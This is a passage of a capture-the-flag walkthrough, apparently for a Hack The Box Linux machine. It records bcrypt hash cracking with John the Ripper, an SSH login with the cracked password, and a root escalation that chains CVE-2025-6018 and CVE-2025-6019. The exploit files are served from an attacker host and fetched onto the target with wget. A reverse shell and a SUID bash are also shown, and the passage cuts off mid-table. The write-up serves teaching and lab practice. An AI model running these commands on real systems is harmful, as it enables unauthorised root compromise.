Loaded 2 password hashes with 2 different salts &lt;span class="o"&gt;(&lt;/span&gt;bcrypt &lt;span class="o"&gt;[&lt;/span&gt;Blowfish 32/64 X3]&lt;span class="o"&gt;)&lt;/span&gt;
Cost 1 &lt;span class="o"&gt;(&lt;/span&gt;iteration count&lt;span class="o"&gt;)&lt;/span&gt; is 1024 &lt;span class="k"&gt;for &lt;/span&gt;all loaded hashes
Will run 4 OpenMP threads
Press &lt;span class="s1"&gt;'q'&lt;/span&gt; or Ctrl-C to abort, almost any other key &lt;span class="k"&gt;for &lt;/span&gt;status
0g 0:00:00:02 0.00% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-11 01:00&lt;span class="o"&gt;)&lt;/span&gt; 0g/s 81.08p/s 178.3c/s 178.3C/s manuel..jessie
0g 0:00:00:03 0.00% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-11 06:48&lt;span class="o"&gt;)&lt;/span&gt; 0g/s 80.00p/s 171.4c/s 171.4C/s oliver..brenda
0g 0:00:00:05 0.00% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-11 12:24&lt;span class="o"&gt;)&lt;/span&gt; 0g/s 78.41p/s 163.9c/s 163.9C/s simple..nicole1
0g 0:00:00:38 0.02% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-11 23:46&lt;span class="o"&gt;)&lt;/span&gt; 0g/s 70.81p/s 141.6c/s 141.6C/s 159159..outlaw
&lt;span class="o"&gt;!&lt;/span&gt;QAZ2wsx         &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;
1g 0:00:05:11 0.20% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-10 21:40&lt;span class="o"&gt;)&lt;/span&gt; 0.003213g/s 112.4p/s 157.0c/s 157.0C/s 052204..yadiel
Use the &lt;span class="s2"&gt;"--show"&lt;/span&gt; option to display all of the cracked passwords reliably
Session aborted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;john&lt;/code&gt; recovers the candidate password &lt;code&gt;!QAZ2wsx&lt;/code&gt;. Although it comes back tagged as an unresolved user (&lt;code&gt;(?)&lt;/code&gt;) mid-session, it's the only hit against the two loaded hashes - confirmed against &lt;code&gt;phileasfogg3&lt;/code&gt; in the next step.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1 SSH Foothold
&lt;/h3&gt;

&lt;p&gt;Although a shell was already available via the web RCE, SSH provides a more stable session and is generally required for the privilege escalation techniques used later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh phileasfogg3@pterodactyl.htb
&lt;span class="k"&gt;**&lt;/span&gt; WARNING: connection is not using a post-quantum key exchange algorithm.
&lt;span class="k"&gt;**&lt;/span&gt; This session may be vulnerable to &lt;span class="s2"&gt;"store now, decrypt later"&lt;/span&gt; attacks.
&lt;span class="k"&gt;**&lt;/span&gt; The server may need to be upgraded. See https://openssh.com/pq.html
&lt;span class="o"&gt;(&lt;/span&gt;phileasfogg3@pterodactyl.htb&lt;span class="o"&gt;)&lt;/span&gt; Password: &lt;span class="o"&gt;!&lt;/span&gt;QAZ2wsx
Have a lot of fun...
Last login: Mon Feb  9 18:24:39 2026 from &amp;lt;ATTACKER-IP&amp;gt;
phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;whoami
&lt;/span&gt;phileasfogg3
phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1002&lt;span class="o"&gt;(&lt;/span&gt;phileasfogg3&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;groups
users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; was checked as a matter of course:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;phileasfogg3:
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;phileasfogg3 on pterodactyl:
    always_set_home, env_reset, &lt;span class="nv"&gt;env_keep&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES
    LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE"&lt;/span&gt;, &lt;span class="o"&gt;!&lt;/span&gt;insults,
    &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    &lt;span class="o"&gt;(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; ALL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This looks like unrestricted &lt;code&gt;sudo&lt;/code&gt; at first glance, but the &lt;code&gt;targetpw&lt;/code&gt; Defaults entry changes what password &lt;code&gt;sudo&lt;/code&gt; actually asks for: instead of &lt;code&gt;phileasfogg3&lt;/code&gt;'s own password, it requires the &lt;strong&gt;target&lt;/strong&gt; account's password (i.e. &lt;code&gt;root&lt;/code&gt;'s). Since that isn't known, this &lt;code&gt;(ALL) ALL&lt;/code&gt; grant is a dead end without a separate route to root - confirming that no directly usable sudo/SUID path exists here, and pushing enumeration toward the system's D-Bus/Polkit stack instead.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;Initial manual enumeration (&lt;code&gt;sudo -l&lt;/code&gt;, SUID search) didn't reveal a usable path, so a deeper pass was run with &lt;code&gt;linpeas.sh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Reviewing the &lt;code&gt;linpeas.sh&lt;/code&gt; output flagged SUID-related activity involving &lt;strong&gt;D-Bus&lt;/strong&gt;, &lt;strong&gt;mount&lt;/strong&gt;, and &lt;strong&gt;udisks&lt;/strong&gt;. Since disk-management operations run with elevated privileges, this immediately suggested a possible authorization bypass. &lt;code&gt;udisks&lt;/code&gt; is a daemon that manages disks, partitions, and mount operations; runs as root; and exposes its functionality over D-Bus. The relevant trust chain is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User -&amp;gt; D-Bus -&amp;gt; udisksd (root) -&amp;gt; Polkit (authorization)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enumerating the relevant binaries and services confirmed the daemon was present and running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;phileasfogg3@pterodactyl:/tmp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; /usr/lib/polkit-1/polkitd
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 113104 Jul 15  2025 /usr/lib/polkit-1/polkitd
phileasfogg3@pterodactyl:/tmp&amp;gt; busctl list | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; udisks
org.freedesktop.UDisks2                            &lt;span class="o"&gt;(&lt;/span&gt;activatable&lt;span class="o"&gt;)&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;phileasfogg3@pterodactyl:/tmp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt; /usr/lib/udisks2/
udisksd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This led to &lt;strong&gt;CVE-2025-6019&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;PoC used: &lt;a href="https://github.com/guinea-offensive-security/CVE-2025-6019" rel="noopener noreferrer"&gt;guinea-offensive-security/CVE-2025-6019&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1 CVE-2025-6019 - libblockdev/udisks LPE
&lt;/h3&gt;

&lt;p&gt;A Local Privilege Escalation vulnerability was found in &lt;code&gt;libblockdev&lt;/code&gt;. Generally, the &lt;code&gt;allow_active&lt;/code&gt; setting in Polkit permits a physically-present user to perform certain actions based on session type. Due to how &lt;code&gt;libblockdev&lt;/code&gt; interacts with the &lt;code&gt;udisks&lt;/code&gt; daemon, an &lt;code&gt;allow_active&lt;/code&gt; user can escalate to full root privileges on the target host.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The catch:&lt;/strong&gt; CVE-2025-6019 requires the attacker to be classified as an &lt;code&gt;allow_active&lt;/code&gt; (physically present) user. SSH sessions aren't considered physically present by default, so this condition wasn't satisfied - an additional bug was needed to promote the session first.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 CVE-2025-6018 - PAM allow_active Escalation
&lt;/h3&gt;

&lt;p&gt;The OS version was checked to look for something that could bridge this gap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;cat&lt;/span&gt; /etc/os-release
&lt;span class="nv"&gt;NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"openSUSE Leap"&lt;/span&gt;
&lt;span class="nv"&gt;VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"15.6"&lt;/span&gt;
&lt;span class="nv"&gt;ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"opensuse-leap"&lt;/span&gt;
&lt;span class="nv"&gt;ID_LIKE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"suse opensuse"&lt;/span&gt;
&lt;span class="nv"&gt;VERSION_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"15.6"&lt;/span&gt;
&lt;span class="nv"&gt;PRETTY_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"openSUSE Leap 15.6"&lt;/span&gt;
&lt;span class="nv"&gt;ANSI_COLOR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"0;32"&lt;/span&gt;
&lt;span class="nv"&gt;CPE_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cpe:/o:opensuse:leap:15.6"&lt;/span&gt;
&lt;span class="nv"&gt;BUG_REPORT_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://bugs.opensuse.org"&lt;/span&gt;
&lt;span class="nv"&gt;HOME_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://www.opensuse.org/"&lt;/span&gt;
&lt;span class="nv"&gt;DOCUMENTATION_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://en.opensuse.org/Portal:Leap"&lt;/span&gt;
&lt;span class="nv"&gt;LOGO&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"distributor-logo-Leap"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;openSUSE Leap 15.6&lt;/strong&gt;, combined with known CVEs against that release, led to CVE-2025-6018:&lt;/p&gt;

&lt;p&gt;A Local Privilege Escalation vulnerability in &lt;code&gt;pam-config&lt;/code&gt; within Linux Pluggable Authentication Modules (PAM). The flaw allows an unprivileged local attacker to obtain elevated privileges normally reserved for a physically-present &lt;code&gt;allow_active&lt;/code&gt; user. An attacker with low-privilege local access (e.g. via SSH) could bypass authentication controls, perform Polkit actions typically restricted to console users, gain unauthorized control over system configuration and services, and potentially compromise system integrity, confidentiality, and availability.&lt;/p&gt;

&lt;p&gt;PoC used: &lt;a href="https://github.com/ibrahmsql/CVE-2025-6018" rel="noopener noreferrer"&gt;ibrahmsql/CVE-2025-6018&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Escalating to allow_active
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 CVE-2025-6018.py &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; phileasfogg3 &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'!QAZ2wsx'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This opens a reverse shell running in an &lt;code&gt;allow_active&lt;/code&gt; Polkit session context - satisfying the precondition CVE-2025-6019 needs.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Hosting the CVE-2025-6019 Exploit Files
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On the attacker machine&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CVE-2025-6019's PoC needs a crafted XFS filesystem image, generated locally first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;bash exploit.sh

PoC &lt;span class="k"&gt;for &lt;/span&gt;CVE-2025-6019 &lt;span class="o"&gt;(&lt;/span&gt;LPE via libblockdev/udisks&lt;span class="o"&gt;)&lt;/span&gt;
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? &lt;span class="o"&gt;[&lt;/span&gt;y/N]: y
&lt;span class="o"&gt;[&lt;/span&gt;+] All dependencies are installed.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking &lt;span class="k"&gt;for &lt;/span&gt;vulnerable libblockdev/udisks versions...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Detected udisks version: unknown
&lt;span class="o"&gt;[!]&lt;/span&gt; Warning: Specific vulnerable versions &lt;span class="k"&gt;for &lt;/span&gt;CVE-2025-6019 are unknown.
&lt;span class="o"&gt;[!]&lt;/span&gt; Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
&lt;span class="o"&gt;[!]&lt;/span&gt; Continuing with PoC execution...
Select mode:
&lt;span class="o"&gt;[&lt;/span&gt;L]ocal: Create 300 MB XFS image &lt;span class="o"&gt;(&lt;/span&gt;requires root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;C]ible: Exploit target system
&lt;span class="o"&gt;[&lt;/span&gt;L]ocal or &lt;span class="o"&gt;[&lt;/span&gt;C]ible? &lt;span class="o"&gt;(&lt;/span&gt;L/C&lt;span class="o"&gt;)&lt;/span&gt;: l
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Creating a 300 MB XFS image on &lt;span class="nb"&gt;local &lt;/span&gt;machine...
300+0 records &lt;span class="k"&gt;in
&lt;/span&gt;300+0 records out
314572800 bytes &lt;span class="o"&gt;(&lt;/span&gt;315 MB, 300 MiB&lt;span class="o"&gt;)&lt;/span&gt; copied, 0.364347 s, 863 MB/s
meta-data&lt;span class="o"&gt;=&lt;/span&gt;./xfs.image            &lt;span class="nv"&gt;isize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;512    &lt;span class="nv"&gt;agcount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4, &lt;span class="nv"&gt;agsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;19200 blks
         &lt;span class="o"&gt;=&lt;/span&gt;                       &lt;span class="nv"&gt;sectsz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;512   &lt;span class="nv"&gt;attr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2, &lt;span class="nv"&gt;projid32bit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
         &lt;span class="o"&gt;=&lt;/span&gt;                       &lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1        &lt;span class="nv"&gt;finobt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1, &lt;span class="nv"&gt;sparse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1, &lt;span class="nv"&gt;rmapbt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
         &lt;span class="o"&gt;=&lt;/span&gt;                       &lt;span class="nv"&gt;reflink&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1    &lt;span class="nv"&gt;bigtime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;inobtcount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;nrext64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
data     &lt;span class="o"&gt;=&lt;/span&gt;                       &lt;span class="nv"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4096   &lt;span class="nv"&gt;blocks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;76800, &lt;span class="nv"&gt;imaxpct&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;25
naming   &lt;span class="o"&gt;=&lt;/span&gt;version 2              &lt;span class="nv"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4096   ascii-ci&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;ftype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1, &lt;span class="nv"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
log      &lt;span class="o"&gt;=&lt;/span&gt;internal log           &lt;span class="nv"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4096   &lt;span class="nv"&gt;blocks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;16384, &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2
realtime &lt;span class="o"&gt;=&lt;/span&gt;none                   &lt;span class="nv"&gt;extsz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4096   &lt;span class="nv"&gt;blocks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;rgcount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="o"&gt;[&lt;/span&gt;+] 300 MB XFS image created: ./xfs.image
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Transfer to target with: scp xfs.image &amp;lt;user&amp;gt;@&amp;lt;host&amp;gt;:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The generated &lt;code&gt;xfs.image&lt;/code&gt; was downloaded onto the victim (over the reverse shell from the &lt;code&gt;allow_active&lt;/code&gt; escalation):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://&amp;lt;ATTACKER-IP&amp;gt;:8000/xfs.image
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;exploit.sh&lt;/code&gt; itself was also fetched. Before running it, its &lt;code&gt;dependencies&lt;/code&gt; check function (called near the bottom of the script) needs removing, since the required tooling isn't present on the target and the check would otherwise abort the run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://&amp;lt;ATTACKER-IP&amp;gt;:8000/exploit.sh
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x exploit.sh
bash exploit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.5 Triggering the Exploit on the Target
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;exploit&lt;span class="nv"&gt;$ &lt;/span&gt;./exploit.sh
PoC &lt;span class="k"&gt;for &lt;/span&gt;CVE-2025-6019 &lt;span class="o"&gt;(&lt;/span&gt;LPE via libblockdev/udisks&lt;span class="o"&gt;)&lt;/span&gt;
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? &lt;span class="o"&gt;[&lt;/span&gt;y/N]: y
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking &lt;span class="k"&gt;for &lt;/span&gt;vulnerable libblockdev/udisks versions...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Detected udisks version: unknown
&lt;span class="o"&gt;[!]&lt;/span&gt; Warning: Specific vulnerable versions &lt;span class="k"&gt;for &lt;/span&gt;CVE-2025-6019 are unknown.
&lt;span class="o"&gt;[!]&lt;/span&gt; Continuing with PoC execution...
Select mode:
&lt;span class="o"&gt;[&lt;/span&gt;L]ocal: Create 300 MB XFS image &lt;span class="o"&gt;(&lt;/span&gt;requires root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;C]ible: Exploit target system
&lt;span class="o"&gt;[&lt;/span&gt;L]ocal or &lt;span class="o"&gt;[&lt;/span&gt;C]ible? &lt;span class="o"&gt;(&lt;/span&gt;L/C&lt;span class="o"&gt;)&lt;/span&gt;: C
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Starting exploitation on target machine...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking allow_active status...
&lt;span class="o"&gt;[&lt;/span&gt;+] allow_active status confirmed.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Verifying xfs.image integrity...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Stopping gvfs-udisks2-volume-monitor...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Note: gvfs-udisks2-volume-monitor was not running.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Setting up loop device...
&lt;span class="o"&gt;[&lt;/span&gt;+] Loop device configured: /dev/loop0
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Keeping filesystem busy to prevent unmounting...
&lt;span class="o"&gt;[&lt;/span&gt;+] Background loop started &lt;span class="o"&gt;(&lt;/span&gt;PID: 17836&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Resizing filesystem to trigger mount...
&lt;span class="o"&gt;[&lt;/span&gt;+] Mount successful &lt;span class="o"&gt;(&lt;/span&gt;expected error: target is busy&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Waiting 2 seconds &lt;span class="k"&gt;for &lt;/span&gt;mount to stabilize...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking &lt;span class="k"&gt;for &lt;/span&gt;SUID bash &lt;span class="k"&gt;in&lt;/span&gt; /tmp/blockdev&lt;span class="k"&gt;*&lt;/span&gt;...
&lt;span class="o"&gt;[&lt;/span&gt;+] SUID bash found: /tmp/blockdev.MSMGK3/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;allow_active&lt;/code&gt; status confirmation is the key line - it proves the CVE-2025-6018 escalation from the previous step actually took effect. From there, the exploit races a crafted XFS mount through &lt;code&gt;udisks&lt;/code&gt; and lands a SUID &lt;code&gt;bash&lt;/code&gt; binary.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.6 Root Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash-5.3# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
bash-5.3# &lt;span class="nb"&gt;cd&lt;/span&gt; /root
bash-5.3# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
HTB&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Initial Enumeration
│
├─ Nmap Scan
│  ├─ Port 22 → SSH
│  └─ Port 80 → HTTP (static landing page)
│
├─ Information Disclosure
│  └─ changelog.txt → Pterodactyl Panel v1.11.10, MariaDB, PHP-PEAR enabled
│
├─ Virtual Host Enumeration
│  └─ panel.pterodactyl.htb discovered
│
├─ Web Application Exploitation
│  └─ CVE-2025-49132
│     └─ Unauthenticated RCE via /locales/locale.json (PEAR deserialization)
│
├─ Initial Access
│  └─ Reverse shell as wwwrun
│
├─ Post-Exploitation
│  ├─ Enumerate Laravel files
│  └─ Discover .env configuration file
│
├─ Credential Discovery
│  └─ Extract MariaDB credentials
│
├─ Database Enumeration
│  ├─ Dump users table
│  └─ Extract bcrypt password hashes
│
├─ Credential Attack
│  └─ Crack hash using John the Ripper → phileasfogg3
│
├─ Lateral Movement
│  └─ SSH access as phileasfogg3 (user flag)
│     └─ sudo -l shows (ALL) ALL, but targetpw blocks direct use
│
├─ Local Enumeration
│  └─ Identify D-Bus / udisks / polkit trust chain (linpeas + manual)
│
├─ Privilege Escalation Chain
│  ├─ CVE-2025-6018
│  │  └─ Convert SSH session to allow_active
│  │
│  └─ CVE-2025-6019
│     └─ Exploit libblockdev/udisks via crafted XFS mount → SUID bash
│
└─ Root Access
   └─ Read /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Exposed &lt;code&gt;changelog.txt&lt;/code&gt; disclosing Pterodactyl Panel version, DB backend, and PHP-PEAR status&lt;/td&gt;
&lt;td&gt;Enables precise, targeted vulnerability research&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;CVE-2025-49132 (Pterodactyl Panel)&lt;/td&gt;
&lt;td&gt;Unauthenticated remote code execution via PHP-PEAR deserialization&lt;/td&gt;
